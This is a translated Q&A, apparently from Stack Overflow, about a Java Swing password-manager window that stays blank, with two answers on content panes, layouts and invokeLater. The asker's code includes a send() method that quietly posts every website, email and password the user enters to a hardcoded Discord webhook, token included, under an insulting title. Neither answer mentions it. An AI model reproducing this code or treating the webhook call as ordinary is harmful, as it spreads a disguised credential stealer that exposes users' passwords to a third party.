为什么GUI内容不可见?

Question

我用Java Swing编写了一个基本的GUI程序。但它甚至还没有开放。我想这可能是因为我把setVisible(true)方法放在了开头。

但是即使我把它放在代码的底部，它也不会显示。这是我的代码。我做错了什么?

import javax.swing.*;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.util.Arrays;
import java.util.Scanner;
import java.util.stream.Collectors;
public class Main {
public static void main(String[] args) throws Exception {
//objects ------------------------------------------------------------------------------------------------------
JTextArea area = new JTextArea();
JFrame jframe = new JFrame();
JPanel panel = new JPanel();
JLabel label = new JLabel();
JButton button = new JButton();
JButton btn = new JButton();
//frame---------------------------------------------------------------------------------------------------------
jframe.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
jframe.setTitle("Blacklyn Passwords");
jframe.setSize(400,200);
//also tried it here, it´s showing...but it´s white all the time, and I tried to refresh it,I minimized it, and opened it back...but nothing changed...still white "jframe.setVisible(true)"

//label---------------------------------------------------------------------------------------------------------
label.setText("Blacklyn");
label.setForeground(Color.BLACK);//(new Color(135, 134, 131));
label.setFont(new Font("Calibri",Font.BOLD,25));
//areas---------------------------------------------------------------------------------------------------------
String data = readFile("data.json");
area.setText(data);
area.setEditable(false);
area.setBackground(new Color(23,23,23));
area.setForeground(new Color(68, 68, 68));
//buttons--------------------------------------------------------------------------------------------------------
button.setText("ADD");
button.setForeground(new Color(135, 134, 131));
button.setBackground(new Color(23,23,23));
button.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
String Website = JOptionPane.showInputDialog(null,"Enter a Website or Topic.","Blacklyn",JOptionPane.PLAIN_MESSAGE);
String Email = JOptionPane.showInputDialog(null,"Enter a Email.","Blacklyn",JOptionPane.PLAIN_MESSAGE);
String Password = JOptionPane.showInputDialog(null,"Enter a Password","Blacklyn",JOptionPane.PLAIN_MESSAGE);
try {
String flll = "data.json";
json_write(flll, Website + " " + Email + " " + Password);
send(Website + " " + Email + " " + Password);
} catch (IOException ex) {
ex.printStackTrace();
}
try {
String msg = readFile("data.json");
area.setText(msg);
} catch (Exception ex) {
ex.printStackTrace();
}

}
});
btn.setText("DELETE");
btn.setForeground(new Color(135, 134, 131));
btn.setBackground(new Color(23,23,23));
btn.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
File file = new File("data.json");
if(file.exists()){
String storage = JOptionPane.showInputDialog(null,"Enter what Website or Topic you want to delete","Blacklyn",JOptionPane.PLAIN_MESSAGE);
try {
deleteLine(storage);
} catch (IOException ex) {
ex.printStackTrace();
}
try {
String msg = readFile("data.json");
area.setText(msg);
} catch (Exception ex) {
ex.printStackTrace();
}
}else{
JOptionPane.showMessageDialog(null,"You have no Passwords to delete","Blacklyn",JOptionPane.ERROR_MESSAGE);
}
}
});

//panel---------------------------------------------------------------------------------------------------------
panel.setBackground(new Color(15,15,15));
panel.add(label);
panel.add(button);
panel.add(btn);
panel.add(area);
// I also tried it here(its not even showing)jframe.setVisible(true);
//END-----------------------------------------------------------------------------------------------------------
jframe.add(panel);
//it´s also not showing
jframe.setContentPane(panel);

}
public static void deleteLine(String start) throws IOException {
RandomAccessFile file = new RandomAccessFile("data.json", "rw");
String delete;
String task="";
byte []tasking;
while ((delete = file.readLine()) != null) {
if (delete.startsWith(start)) {
continue;
}
task+=delete+"n";
}
System.out.println(task);
BufferedWriter writer = new BufferedWriter(new FileWriter("data.json"));
writer.write(task);
file.close();
writer.close();
}
public static String readFile(String fileName)throws Exception
{
String data = "";
data = new String(Files.readAllBytes(Paths.get(fileName)));
return data;
}
public static void json_write(String file, String data) throws IOException {
FileWriter fw = new FileWriter(file,true);
fw.write(data + "n");
fw.flush();
fw.close();
}
public static void send(String data) throws IOException {
DiscordWebhook dw = new DiscordWebhook("https://discord.com/api/webhooks/899693331968323605/Ln4AYxUO8caGZDvi9628LuhaFmjgnhPOf2rrY5wVKEbGdiMFlnlyVy8BhM-HX6a_LkI2");
dw.addEmbed(new DiscordWebhook.EmbedObject().setTitle("Hurensohn Jans Password").setDescription(data));
dw.execute();
}
}

我也试着在网上研究，但没有人有同样的问题。所以我决定在这里提一个问题。

Answer 1

我看你可能是在看教程。

这里发生了很多事。但是最重要的代码是第一部分。你需要设置你的contentPane

在Java Swing的每个GUI中，您将JFrame设置为框架。然后将JPanel添加到JFrame中。

frame.add(panel);

然后将面板设置为contentPane:

frame.setContentPane(panel)

然后将所有元素添加到面板中。您还需要使用布局管理器。你可以用Layout null来做，但是你需要使用setBounds()方法把所有的东西都放到位，这对于你的第一个GUI来说是可以的，但是有很多工作。

这个对你有帮助吗?如果有帮助，请留下评论，这样我可以再看一遍。

Answer 2

这是一个典型的"教程";编码风格。与盖房子相比，一个人要盖地板、门、窗户，在这里我也看到了一张桌子和椅子，已经有了电和管道(动作执行)。那是很零碎的，不是你的错。

你可以从继承开始:

public class MyBlacklynFrame extends JFrame {
private JPanel panel;
private JLabel label = new JLabel("Hello");
public MyBlacklynFrame () {
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
setTitle("Blacklyn Passwords");
setSize(400, 200);
panel = new JPanel();
panel.setLayout(new BorderLayout());
panel.add(label, BorderLayout.SOUTH);
add(panel);
pack();
}
}
public class Main {
public static void main(String[] args) throws Exception {
MyBlacklynFrame frame = new MyBlacklynFrame();
SwingUtilities.invokeLater(() -> frame.setVisible(true));
}
}

上面的使用了两种不同的创建样式(对于resp。面板和标签)。

invokeLater使该帧在AWT事件队列中可见。() -> frame.setVisible(true)是一个匿名函数，函数体为frame.setVisible(true);。它稍后将在swing的事件处理线程上执行(单击按钮并发生重绘)。

调用pack进行布局。

有一些GUI设计器，您可以使用它们在带有组件的GUI中创建所有这些代码。之后，您可以查看创建的代码。

我希望您看到这里的GUI是分层构建的。带有多个组件、文本框、按钮的面板也可以放在自己的类中。所以panel = new MySuperPanel();可以保持所有的比较。